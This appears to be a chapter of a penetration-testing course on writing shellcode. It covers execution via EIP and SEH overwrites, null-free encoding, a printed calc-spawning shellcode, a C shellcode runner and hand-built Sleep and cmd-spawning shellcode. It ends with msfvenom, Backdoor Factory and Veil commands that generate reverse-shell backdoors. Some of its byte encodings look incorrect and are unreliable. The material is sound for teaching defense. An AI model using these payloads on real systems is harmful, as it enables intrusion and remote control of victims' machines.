1.6 Shellcoding

What is a Shellcoding

What is a Shellcoding?

Shellcoding refers to the process of creating shellcode, which is a small piece of code designed to be injected and executed in a compromised computer system. The primary goal of shellcode is typically to spawn a shell, providing an attacker with command-line access to the system. This command-line interface (shell) can be used to execute additional commands, manipulate files, and perform various actions, depending on the intentions of the attacker.

Here are some key points related to shellcoding:

  1. Objective: The primary objective of shellcode is to open a communication channel between the attacker and the compromised system. This is often achieved by spawning a shell, which allows the attacker to interact with the system's command-line interface.

  2. Injection: Shellcode is commonly injected into the memory of a vulnerable process or included in an exploit payload. Once executed, it takes control of the compromised system and allows the attacker to issue commands.

  3. Payloads: Shellcode payloads can vary in functionality. Some common actions performed by shellcode include creating a reverse shell (connecting back to the attacker's machine), downloading and executing additional malware, or manipulating files on the compromised system.

  4. Portability: Shellcode is often crafted to be as compact and portable as possible, making it suitable for use in different environments and architectures. This is important for attackers seeking to exploit a variety of systems.

  5. Security Implications: While shellcoding is a crucial concept in cybersecurity for understanding and defending against attacks, it's important to note that the creation and use of shellcode for malicious purposes are unethical and illegal. Security professionals and ethical hackers may study shellcoding to better understand how to protect systems from such attacks.

  6. Defensive Measures: Defending against shellcode involves implementing security measures such as input validation, proper bounds checking, and employing security mechanisms like Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) to make it more challenging for attackers to execute arbitrary code.

It's crucial to emphasize that understanding shellcode is essential for cybersecurity professionals to effectively defend against attacks. Ethical hacking and penetration testing often involve the study of shellcoding techniques to identify and remediate vulnerabilities in systems and software.

Execution of Shellcode

When an attacker identifies a vulnerable application, their primary goal is often to inject shellcode into the software. Once the shellcode is successfully injected, the attacker manipulates the instruction pointer register (EIP) to point to the shellcode. This enables the shellcode to execute without restrictions, providing the attacker with control over the system.

There are two primary methods by which shellcode can be executed:

1. Remote Buffer Overflows (Network-Based)

  • Objective: Inject shellcode into the vulnerable application through the network.

  • Execution: The attacker sends the shellcode remotely, triggering a buffer overflow.

  • Outcome: When successful, the EIP is adjusted to the location of the injected shellcode.

2. Local Environment Execution

  • Objective: Inject shellcode into the vulnerable application in the local environment.

  • Execution: The attacker manipulates the EIP to point to the locally injected shellcode.

  • Outcome: The shellcode runs within the local system, giving the attacker control.

Alternative Execution Method: Structured Exception Handling (SEH)

While manipulating the EIP is a common method, shellcode can also be triggered to execute when a Structured Exception Handling (SEH) frame activates. SEH frames store the address to jump to when an exception occurs, such as a division by zero.

The steps for execution via SEH manipulation involve:

  1. Overwriting Return Address:

    • The attacker overwrites the return address stored in the SEH frame.

    • By doing so, the attacker gains control over the execution flow when an exception is encountered.

  2. Exception Triggering:

    • The attacker induces an exception, for example, by causing a division by zero.

    • This activates the SEH mechanism.

  3. Control Transfer:

    • As the SEH frame is activated, the manipulated return address directs the flow of execution to the attacker's shellcode.

In summary, manipulating the EIP and exploiting SEH frames are common tactics for executing shellcode, providing attackers with unauthorized control over the vulnerable system. This underscores the importance of implementing robust security measures to detect and prevent such attacks.

Types of Shellcode Execution Strategies

Shellcode execution strategies vary based on how the shellcode runs and grants control to the attacker. Here are several types of execution strategies:

Local Shellcode

  • Objective: Exploit local processes to gain higher privileges on the machine.

  • Alias: Privilege escalation shellcode.

  • Usage: Exploited in local code execution vulnerabilities.

Remote Shellcode

  • Objective: Sent through the network along with an exploit. Aims to be injected into a process and executed remotely.

  • Usage: Provides remote access to the exploited machine using common network protocols (e.g., TCP/IP).

  • Sub-divisions based on connection setup:

    • Connect Back: Initiates a connection back to the attacker's machine.

    • Bind Shell: Binds a shell or command prompt to a specific port for the attacker to connect.

Staged Shellcode

  • Usage: Deployed when the shellcode size exceeds the available injection space. Executed in two stages:

    • Stage 1 (Small Shellcode): Executes and fetches the larger Stage 2 shellcode into the process memory.

    • Stage 2 (Larger Shellcode): Executed after Stage 1.

Egg-Hunt Shellcode

  • Scenario: Used when a larger shellcode is injected, but the injection location is unknown.

  • Components:

    • Egg-Hunter: Small shellcode tasked with searching for the larger shellcode (egg) in the process address space.

    • Egg: The actual larger shellcode that gets executed once found.

Omelet Shellcode

  • Similarity to Egg-Hunt: Similar to egg-hunt shellcode but involves multiple smaller shellcodes (eggs) combined and executed.

  • Purpose: Used to evade shellcode detectors. While individual eggs may not trigger alarms, collectively they form a complete shellcode.

Download and Execute Shellcode

  • Functionality: Instead of immediately creating a shell, this type of shellcode downloads an executable from the internet and then executes it.

  • Executable Content: Can be a data harvesting tool, malware, or a backdoor.

These diverse shellcode execution strategies reflect the adaptability and creativity of attackers seeking unauthorized access and control over systems. Security measures should be implemented to detect and prevent such attacks.

Encoding of Shellcode

In the context of shellcode, encoding is often employed to bypass restrictions or filters that may exist in vulnerable applications. This is particularly relevant when dealing with NULL bytes, as many string functions in programming languages terminate when they encounter NULL.

Consider the following example in C:

#include <iostream>
#include <cstring>

int main(int argc, char *argv[]) {
  char StringToPrint[20];
  char string1[] = "\x41\x41\x41";
  char string2[] = "\x42\x42\x42\x43\x43\x43";

  strcat(StringToPrint, string1);
  strcat(StringToPrint, string2);
  printf("%s", StringToPrint);

  return 0;
}

In this example, the program concatenates string1 and string2 into StringToPrint. If string2 contains a NULL character \x00, the concatenation stops at that point. To ensure the execution of the complete shellcode, NULL-free encoding is often employed.

Types of Shellcode Encoding

  1. Null-Free Encoding:

    • Objective: Replace machine instructions containing NULL bytes with instructions that do not contain NULL bytes but achieve the same tasks.

    • Example:

      • Original: MOV EAX, 0

      • Encoded: XOR EAX, EAX

  2. Alphanumeric and Printable Encoding:

    • Scenario: In cases where the target process filters out all non-alphanumeric bytes from the data.

    • Challenge: Alphanumeric shellcodes have limited instruction options.

    • Solution: Self-modifying Code (SMC) is used. The encoded shellcode is prepended with a small decoder (valid alphanumeric encoded shellcode) that, upon execution, decodes and runs the main body of the shellcode.

  3. Self-Modifying Code (SMC):

    • Usage: Encode shellcode with a small decoder that, when executed, modifies and executes the main body of the shellcode.

    • Purpose: Bypass restrictions or filters, especially in cases where only certain types of instructions are allowed.

  4. Example:

    • Original Shellcode: MOV EAX, 0x12345678

    • Encoded Shellcode: SUB EAX, 0x12345678

In summary, encoding is a technique employed to overcome limitations imposed by the structure of shellcode or the characteristics of the target application. It allows for the successful execution of shellcode even in environments where certain byte patterns are restricted or filtered.

Debugging a Shellcode

Before deploying a shellcode on a target system, it's crucial to verify that it works as intended. One way to test shellcode is to use a simple C program that executes the shellcode. Here's a basic template for such a program:

#include <stdio.h>

char code[] = "shellcode will go here!";

int main(int argc, char **argv) {
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

In this template, the code array is where you would insert your shellcode. The program then converts this array into a function pointer and executes it.

For testing purposes, let's consider a shellcode that opens the Windows Calculator:

"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7"

After inserting the shellcode into the code array in the C program, you can compile and run the program. If the execution is successful, it indicates that the shellcode is functional. The appearance of the Calculator or the expected behavior indicates that the shellcode is working.

Remember, it's not necessary for the program to exit gracefully; a crash is acceptable as long as the intended action of the shellcode is observed during testing. This simple C program serves as a valuable tool for testing and debugging shellcode before deployment on a target system.

Creating Our First Shellcode

In this section, the goal is to manually create a shellcode that causes a thread to sleep for five seconds. To achieve this, the Sleep function from Kernel32.dll is utilized.

Finding Function Addresses

The first step involves obtaining the address of the Sleep function. This can be done using tools like Immunity Debugger or arwin. In Immunity Debugger, you can open the kernel32.dll file, search for the Sleep function, and note its address.

Using arwin, the command to find the address of the Sleep function in kernel32.dll would be:

arwin.exe kernel32.dll Sleep

Creating a Small ASM Code

Now that the Sleep function's address is known, a small ASM code is created to call this function. The ASM code pushes the required parameter onto the stack and calls the Sleep function using its address.

Here's an example ASM code:

xor eax, eax         ; zero out the eax register
mov eax, 5000        ; move the milliseconds value into eax (5000)
push eax             ; push the function parameter onto the stack
mov ebx, 0x757d82d0  ; move the address of Sleep into ebx
call ebx             ; call the function - Sleep(ms);

The ASM code is then compiled using NASM:

nasm -f win32 sleep.asm -o sleep.obj

After compiling, the ASM code is disassembled using objdump:

objdump -o -Mintel sleep.obj

The output provides the byte shellcode on the left and the corresponding ASM code on the right. The final step involves cleaning up the shellcode by removing spaces and adding the \x prefix.

The resulting shellcode may look like this:

char code[]=
"\x31\x60"
"\xb8\x88\x13\x00\x00"
"\x50"
"\xbb\xd0\x82\x7d\x75"
"\xff\xd3"

To test the shellcode, a C program is created to execute it:

int main(int argc, char **argv) {
  int (*func)();
  func = (int(*)()) code;
  (int)(*func)();
}

After compiling and running the program, if the shellcode works, the process will wait for 5 seconds and then crash. Note that the address of the Sleep function may vary between different operating systems, and if ASLR (Address Space Layout Randomization) is enabled, the address will be randomized.

More Advanced Shellcode

In this section, we're diving into more advanced shellcode that uses the ShellExecute function to spawn a new command prompt and maximize its window.

Dealing With Parameters

The ShellExecute function requires several parameters, and dealing with strings involves converting them into a suitable format and pushing them onto the stack. The steps include:

  1. Calculating Hex Value and Pushing String:

    • Split the strings into groups of 4 characters.

    • Reverse the order.

    • Convert to ASCII.

    • Add PUSH bytecode.

    • Terminate the string.

    Example:

    "\x68\x63\x6d\x64"   ; PUSH "cmd"
    "\x68\x6f\x70\x65\x6e" ; PUSH "open"
    "\x68\x63\x6d\x64\x00" ; PUSH "cmd"
    "\x6A\x00"             ; Terminates "open"
    "\x68\x6f\x70\x65\x6e" ; PUSH "open"
  2. Saving String Pointer to Registers:

    "\x8B\xDC" ; MOV EBX, ESP
    "\x8B\xCC" ; MOV ECX, ESP
  3. Pushing Other Parameters:

    • Push integer value 3.

    • Zero out the EAX register and push it two times.

    • Push the strings' pointers.

    • Push the first parameter 0.

    Example:

    "\x6A\x03" ; PUSH 3
    "\x33\xC0" ; XOR EAX, EAX
    "\x50"     ; PUSH EAX (pushes 0)
    "\x50"     ; PUSH EAX (pushes 0)
    "\x53"     ; PUSH EBX
    "\x51"     ; PUSH ECX
    "\x50"     ; PUSH EAX (pushes 0)
  4. Finding and Pushing the Address of ShellExecuteA:

    • Use a tool like arwin to find the address.

    • Move the address to a register (EAX) and call it.

    Example:

    "\xB8\x70\xD9\x2B\x76" ; MOV EAX,762bd970 (address found by arwin)
    "\xFF\xD0"            ; CALL EAX

NULL-free Shellcode

In the previous chapter, a shellcode was created that spawned a command prompt, but it was not NULL-free. To make it NULL-free, manual editing or encoding and decoding techniques can be employed.

Manual Editing:

  • Subtract or add a specific value to remove the \x00 byte.

  • Example: Substracting 11111111 from 00646d63.

    Example:

    "\x33\xDB"              ; XOR EBX,EBX (zero out EBX)
    "\xBB\x52\x5C\x53\xEF"  ; MOV EBX, EF535C52
    "\x81\xC3\x11\x11\x11\x11" ; ADD EBX, 11111111 (EBX contains 00646d63)
    "\x53"                  ; PUSH EBX
    "\x8B\xDC"              ; MOV EBX, ESP (puts pointer to the string)
    "\x33\xC0"              ; XOR EAX, EAX (zero out EAX)
    "\x50"                  ; PUSH EAX (push the string terminator)
    "\x6B\x6F\x70\x65\x6E"  ; PUSH "open"
    "\x8B\xCC"              ; MOV ECX, ESP (puts pointer to open)

Encoder Tools: You can use tools like msfvenom as encoder tools to automate the encoding and decoding process.

Shellcode and Payload Generators

Indeed, several tools can help automate the process of generating shellcode and payloads for various purposes. Here are brief descriptions of the mentioned tools:

msfvenom (Metasploit Framework)

  • Description: Metasploit is a widely used penetration testing framework, and msfvenom is a part of it. It is a powerful tool for generating various types of payloads, shellcodes, and exploits.

  • Usage Example:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f exe > payload.exe
  • Note: You can customize the payload type, target platform, IP, and port.

  • Description: The Backdoor Factory is a Python-based tool that allows for the automatic injection of shellcode into various file types, making them malicious. It can be used to create backdoored executables.

  • Usage Example:

    ./backdoor.py -f input.exe -H <your_ip> -P <your_port> -s windows/meterpreter/reverse_tcp
  • Note: This tool can transform binaries into backdoored versions.

  • Description: Veil is a framework designed for generating undetectable payloads for penetration testing purposes. It focuses on evasion techniques to bypass antivirus detection.

  • Usage Example:

    ./Veil-Evasion.py
  • Note: Veil provides a menu-driven interface to generate different types of payloads, including shellcodes and executables.

Last updated